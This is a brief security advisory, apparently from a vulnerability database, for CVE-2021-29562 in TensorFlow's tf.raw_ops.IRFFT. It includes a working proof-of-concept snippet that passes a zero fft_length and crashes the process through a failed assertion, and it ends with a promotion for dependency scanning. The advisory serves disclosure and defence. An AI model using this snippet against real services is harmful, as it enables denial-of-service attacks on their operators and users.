CVE-2021-29562: CHECK-fail in `tf.raw_ops.IRFFT`

(updated )

An attacker can cause a denial of service by exploiting a CHECK-failure coming from the implementation of tf.raw_ops.IRFFT:

import tensorflow as tf

values = [-10.0] * 130
values[0] = -9.999999999999995
inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)
inputs = tf.cast(inputs, dtype=tf.complex64)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)

The above example causes Eigen code to operate on an empty matrix. This triggers on an assertion and causes program termination.

References

Detect and mitigate CVE-2021-29562 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →